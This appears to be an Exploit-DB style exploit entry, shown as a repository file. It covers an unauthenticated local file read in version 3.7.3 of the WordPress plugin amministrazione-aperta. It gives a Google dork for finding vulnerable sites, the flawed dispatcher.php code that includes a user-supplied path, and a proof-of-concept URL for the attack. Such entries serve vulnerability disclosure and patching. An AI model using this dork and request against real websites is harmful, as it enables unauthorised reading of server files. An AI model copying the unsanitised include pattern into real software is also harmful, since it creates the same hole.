498e749e36
3 changes to exploits/shellcodes ProtonVPN 1.26.0 - Unquoted Service Path WordPress Plugin amministrazione-aperta 3.7.3 - Local File Read - Unauthenticated
27 lines
No EOL
824 B
Text
27 lines
No EOL
824 B
Text
# Exploit Title: WordPress Plugin amministrazione-aperta 3.7.3 - Local File Read - Unauthenticated
|
|
# Google Dork: inurl:/wp-content/plugins/amministrazione-aperta/
|
|
# Date: 23-03-2022
|
|
# Exploit Author: Hassan Khan Yusufzai - Splint3r7
|
|
# Vendor Homepage: https://wordpress.org/plugins/amministrazione-aperta/
|
|
# Version: 3.7.3
|
|
# Tested on: Firefox
|
|
|
|
# Vulnerable File: dispatcher.php
|
|
|
|
# Vulnerable Code:
|
|
|
|
```
|
|
if ( isset($_GET['open']) ) {
|
|
include(ABSPATH . 'wp-content/plugins/'.$_GET['open']);
|
|
} else {
|
|
echo '
|
|
<div id="welcome-panel" class="welcome-panel"
|
|
style="padding-bottom: 20px;">
|
|
<div class="welcome-panel-column-container">';
|
|
|
|
include_once( ABSPATH . WPINC . '/feed.php' );
|
|
```
|
|
|
|
# Proof of Concept:
|
|
|
|
localhost/wp-content/plugins/amministrazione-aperta/wpgov/dispatcher.php?open=[LFI] |